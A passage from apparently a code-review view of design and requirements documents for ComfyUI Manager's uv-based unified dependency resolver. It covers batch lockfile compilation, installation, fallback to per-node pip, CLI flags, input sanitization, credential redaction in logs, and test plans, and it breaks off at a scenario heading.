- `--python` (current interpreter)
- `--constraint` (base dependencies)
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
### 3.3 Dependency Installation (`install_from_lockfile`)
**Behavior:**
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
### 3.4 uv Command Resolution
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
### 3.5 Stale Temp File Cleanup
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
- Deletes directories older than `max_age_seconds` (default: 1 hour)
- Silently ignores `OSError` (permission issues, etc.)
### 3.6 Credential Redaction
```python
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
def _redact_url(self, url: str) -> str:
"""Mask authentication info in URLs. user:pass@host****@host"""
return self._CREDENTIAL_PATTERN.sub('://****@', url)
```
All `--extra-index-url` logging passes through `_redact_url()`:
```python
# Logging example within compile_lockfile()
for url in deps.extra_index_urls:
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
cmd += ["--extra-index-url", url] # Original URL passed to actual command
```
---
## 4. Existing Code Integration
### 4.1 manager_core.py Modification Points
**2 `execute_install_script()` locations — both skip deps in unified mode:**
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
#### 4.1.2 Standalone Function execute_install_script()
**Both locations use the same pattern when unified mode is active:**
1. `lazy_mode=True` → schedule and return early (unchanged)
2. If `not no_deps and manager_util.use_unified_resolver`:
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
4. `install.py` execution: **always runs immediately** regardless of resolver mode
> **Parameter ordering differs:**
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
### 4.1.5 `execute_lazy_install_script()` Modification
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
```python
# In execute_lazy_install_script():
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
...
# install.py always runs regardless
```
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
### 4.1.6 CLI Integration
Multiple entry points expose the unified resolver in `cm_cli`:
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
On-demand batch resolution — independent of ComfyUI startup.
```bash
cm_cli uv-compile [--user-directory DIR]
```
Resolves all installed node packs' dependencies at once. Useful for environment
recovery or initial setup without starting ComfyUI.
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
```bash
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
```
When `--uv-compile` is set:
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
This differs from per-node pip install: instead of resolving each node pack's
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
#### 4.1.6.3 Additional `--uv-compile` Commands
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
| Command | Operation |
|---------|-----------|
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
> triggers batch resolution after all nodes are processed.
>
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
#### Shared Design Decisions
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
initialized at `cm_cli/__main__.py` module scope.
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
not startup gates.
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
handles resolver instantiation, execution, and result reporting.
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
calls `fix_broken()` in the snapshot restore exception handler (before
`_run_unified_resolve()` is reached), per dec_7.
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()``collect_node_pack_paths()`,
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
### 4.2 Configuration Addition (config.ini)
```ini
[default]
# Existing settings...
use_unified_resolver = false # Enable unified dependency resolution
```
### 4.3 Configuration Reading
Follows the existing `read_uv_mode()` / `use_uv` pattern:
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
### 4.4 manager_util.py Extension
```python
# manager_util.py
use_unified_resolver = False # New global flag (separate from use_uv)
```
---
## 5. Error Handling Strategy
```mermaid
flowchart TD
STARTUP["prestartup_script.py startup"]
STARTUP --> CHK{use_unified_resolver?}
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
CHK -->|Yes| RAI["run_unified_resolver()"]
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
STALE --> UV_CHK{uv installed?}
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
CR --> CR_DIS[".disabled/ path → auto-skip"]
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
CR --> CL["compile_lockfile()"]
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
CL --> CL_TMP["Temp directory → finally block cleanup"]
CL -->|Success| IL["install_from_lockfile()"]
IL --> IL_OK["Total success → parse installed/skipped"]
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
```
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
> (per-node pip install), providing the same behavior as if unified mode were disabled.
---
## 6. File Structure
### 6.1 New Files
```
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
tests/test_unified_dep_resolver.py # Unit tests
```
### 6.2 Modified Files
```
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
```
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
---
## 7. Dependencies
| Dependency | Purpose | Notes |
|-----------|---------|-------|
| `uv` | Dependency resolution and installation | Already included in project dependencies |
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
| `subprocess` | uv process execution | Standard library |
| `dataclasses` | Result data structures | Standard library |
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
| `time` | Stale temp file age calculation | Standard library |
| `logging` | Per-step logging | Standard library |
No additional external dependencies.
---
## 8. Sequence Diagram
### Install Time + Startup Batch Resolution
```mermaid
sequenceDiagram
actor User
participant MC as manager_core
participant PS as prestartup_script
participant UDR as UnifiedDepResolver
participant UV as uv (CLI)
Note over User,MC: Install Time (immediate)
User->>MC: Install node pack X
MC->>MC: Git clone / download X
MC->>MC: Skip per-node pip (unified mode)
MC->>MC: Run X's install.py
MC-->>User: Node pack installed (deps pending)
Note over User,UV: ComfyUI Restart
User->>PS: Start ComfyUI
PS->>PS: Check use_unified_resolver
PS->>UDR: Create resolver (module scope)
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
UDR->>UV: uv pip compile --output-file
UV-->>UDR: pinned reqs.txt
UDR->>UV: uv pip install -r
UV-->>UDR: Install result
UDR-->>PS: ResolveResult(success=True)
PS->>PS: PIPFixer.fix_broken()
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
PS-->>User: ComfyUI ready
```
---
## 9. Test Strategy
### 9.1 Unit Tests
| Test Target | Cases |
|------------|-------|
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
| Atomic model | On failure: installed=[], stderr populated |
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
| `_remap_package` | pip_overrides remapping, unregistered packages |
| Blacklist | torch family, torchsde, custom blacklist |
| Duplicate handling | Same package with multiple specs → all passed to uv |
| Multiple paths | Collection from multiple custom_nodes paths |
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
| Concurrency | Two resolver instances each use unique temp directories |
| Credential redaction | `user:pass@host` URL masked in log output |
| `_redact_url` | `://user:pass@host``://****@host` conversion, no-credential URL passthrough |
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
### 9.2 Integration Tests
- End-to-end test in real uv environment
- Existing pip fallback path test
- config.ini setting toggle test
- Environment integrity verification after PIPFixer call
- lazy_mode scheduling behavior verification (Windows simulation)
- `use_uv=False` + `use_unified_resolver=True` combination test
- Large-scale dependency (50+ node packs) performance test
---
## 10. Implementation Order
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
- Blacklist/override filtering
- **Downgrade blacklist** (version comparison logic included)
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
- **`.disabled` node pack filtering**
- Defensive cm_global access (getattr pattern)
2. **Phase 2**: `compile_lockfile` implementation + tests
- uv pip compile invocation
- --output-file, --constraint, --python options
- Conflict parsing logic
3. **Phase 3**: `install_from_lockfile` implementation + tests
- uv pip install -r invocation (NOT sync)
- Install result parsing
4. **Phase 4**: Integration — startup batch + install-time skip
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
- `manager_util.py`: `use_unified_resolver` flag
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
---
## Appendix A: Existing Code Reference
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
> Use `grep -n` or IDE symbol search for exact locations.
### remap_pip_package Location (Code Duplication Exists)
```
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
```
Both reference `cm_global.pip_overrides` with identical logic.
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
### cm_global Global State
```python
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
cm_global.pip_overrides = {} # dict, loaded from JSON
cm_global.pip_downgrade_blacklist = [ # list
'torch', 'torchaudio', 'torchsde', 'torchvision',
'transformers', 'safetensors', 'kornia'
]
```
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
> If the resolver may be called from the CLI path, this initialization should also be verified.
### PIPFixer Call Pattern
```python
# Within UnifiedManager.execute_install_script() method in manager_core.py:
pip_fixer = manager_util.PIPFixer(
manager_util.get_installed_packages(),
context.comfy_path,
context.manager_files_path
)
# ... (after installation)
pip_fixer.fix_broken()
```
The unified resolver does not call PIPFixer directly.
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
```python
# manager_core.py — def is_blacklisted(name)
# 1. Simple pip_blacklist membership check
# 2. pip_downgrade_blacklist version comparison:
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
# - match is None (no version spec) + installed → block
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
```
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
### Existing Code --index-url Handling (Asymmetric)
```python
# Only exists in standalone function execute_install_script():
if '--index-url' in package_name:
s = package_name.split('--index-url')
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
# UnifiedManager.execute_install_script() method does NOT have this handling
```
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
+363
View File
@@ -0,0 +1,363 @@
# PRD: Unified Dependency Resolver
## 1. Overview
### 1.1 Background
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
**Current flow:**
```mermaid
graph LR
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
B2 -.->|May break<br/>A's deps| A2
```
### 1.2 Goal
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
**New flow (unified resolver mode):**
```mermaid
graph TD
subgraph "Install Time (immediate)"
A1[User installs node pack X] --> A2[Git clone / download]
A2 --> A3["Run X's install.py (if exists)"]
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
end
subgraph "ComfyUI Restart (startup batch)"
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
B2 --> B3["uv pip compile → pinned requirements.txt"]
B3 --> B4["uv pip install -r → Batch install"]
B4 --> B5[PIPFixer environment correction]
end
```
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
### 1.3 Scope
- Develop a new dedicated dependency resolution module
- Opt-in activation from the existing install process
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
---
## 2. Constraints
| Item | Description |
|------|-------------|
| **uv required** | Only operates in environments where `uv` is available |
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
---
## 3. Functional Requirements
### FR-1: Node Pack List and Base Dependency Input
**Input:**
- Node pack list (fullpath list of installed + to-be-installed node packs)
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
**Behavior:**
- Validate each node pack path
- Exclude disabled (`.disabled`) node packs
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
- Defensively exclude any node pack paths that are within the `.disabled` directory
- Base dependencies are treated as constraints
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
**`cm_global` runtime dependencies:**
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
### FR-2: Dependency List Extraction
**Behavior:**
- Parse `requirements.txt` from each node pack directory
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
- Strip comments (`#`) and blank lines
- **Input sanitization** (see below)
- Separate handling of `--index-url` entries (see below)
**Input sanitization:**
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
- `-r`, `--requirement` (recursive include → path traversal risk)
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
- `-c`, `--constraint` (external constraint file injection)
- `--find-links`, `-f` (external package source specification)
- `@ file://` (local file reference → path traversal risk)
- Package names containing path separators (`/`, `\`)
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
- Rejected lines are recorded in the `skipped` list with reason
**`--index-url` handling:**
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
- The unified resolver **unifies both paths** for consistent handling:
- Package spec → added to the general dependency list
- `--extra-index-url URL` → passed as `uv pip compile` argument
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
**Duplicate handling strategy:**
- No deduplication is performed directly
- Different version specs of the same package are **all passed as-is** to uv
- `uv pip compile` handles version resolution (uv determines the optimal version)
**Output:**
- Unified dependency list (tracked by source node pack)
- Additional index URL list
### FR-3: uv pip compile Execution
**Behavior:**
- Generate temporary requirements file from the collected dependency list
- Execute `uv pip compile` to produce a pinned requirements.txt
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
- `--constraint`: Pass base dependencies as constraints
- `--python`: Current Python interpreter path
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
- Resolve for the current platform (platform-specific results)
**Error handling:**
- Return conflict package report when resolution fails
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
**Output:**
- pinned requirements.txt (file with all packages pinned to exact versions)
### FR-4: Pinned Requirements-based Dependency Installation
**Behavior:**
- Execute `uv pip install -r <pinned-requirements.txt>`
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
- Already-installed packages at the same version are skipped (default uv behavior)
- Log installation results
**Error handling:**
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
- On total failure: Parse stderr for failure cause report → fallback to existing pip
- **No partial failure report** (not possible due to uv's behavior)
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
### FR-5: Post-install Environment Correction
**Behavior:**
- Call `PIPFixer.fix_broken()` for environment integrity correction
- Restore torch version (when change detected)
- Fix OpenCV conflicts
- Restore comfyui-frontend-package
- Restore packages based on `pip_auto_fix.list`
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
### FR-6: install.py Execution (Existing Flow Maintained)
**Behavior:**
- The unified resolver handles deps installation **at startup time only**
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
**Control flow specification (unified mode active):**
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
- `install.py` execution runs **immediately** as before
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
**Control flow specification (unified mode inactive / fallback):**
- Existing pip install loop runs as-is (no change)
- `install.py` execution runs **immediately** as before
### FR-7: Startup Batch Resolution
**Behavior:**
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
**Startup execution flow (in `prestartup_script.py`):**
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
**`execute_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
- `install.py` execution still runs immediately
**`execute_lazy_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
- `install.py` execution still runs
**Windows-specific behavior:**
- Windows lazy install path also benefits from startup batch resolution
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
---
## 4. Non-functional Requirements
| Item | Requirement |
|------|-------------|
| **Performance** | Equal to or faster than existing individual installs |
| **Stability** | Must not break the existing environment |
| **Logging** | Log progress and results at each step (details below) |
| **Error recovery** | Fallback to existing pip method on failure |
| **Testing** | Unit test coverage above 80% |
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
### Logging Requirements
| Step | Log Level | Content |
|------|-----------|---------|
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
| `--index-url` detection | `INFO` | Detected additional index URL list |
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
| uv compile success | `INFO` | Pinned package count, elapsed time |
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
| Install start | `INFO` | Number of packages to install |
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
| Install failure | `WARNING` | Failed package list, fallback transition notice |
| Fallback transition | `WARNING` | Transition reason, original error message |
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
---
## 5. Usage Scenarios
### Scenario 1: Single Node Pack Installation (unified mode)
```
User requests installation of node pack X
→ Git clone / download node pack X
→ Run X's install.py (if exists) — immediately
→ Skip per-node pip install (deps deferred)
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
→ uv pip compile resolves fully compatible versions
→ uv pip install -r for batch installation
→ PIPFixer environment correction
```
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
```
User requests installation of node packs X, Y, Z
→ Each node pack: git clone + install.py — immediately
→ Per-node pip install skipped for all
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
→ Single uv pip compile → single uv pip install -r
→ PIPFixer environment correction
```
### Scenario 3: Dependency Resolution Failure (Edge Case)
```
Even pre-validated lists may fail due to uv version differences or platform issues
→ uv pip compile failure → return conflict report
→ Display conflict details to user
→ Auto-execute existing pip fallback
```
### Scenario 4: uv Not Installed
```
uv unavailable detected → auto-fallback to existing pip method
→ Display uv installation recommendation to user
```
### Scenario 5: Windows Lazy Installation (unified mode)
```
Node pack installation requested on Windows
→ Node pack install deferred to startup (existing lazy mechanism)
→ On next ComfyUI startup: unified resolver runs first (batch deps)
→ execute_lazy_install_script() skips per-node pip (already resolved)
→ install.py still runs per node pack
```
### Scenario 6: Malicious/Non-standard requirements.txt
```
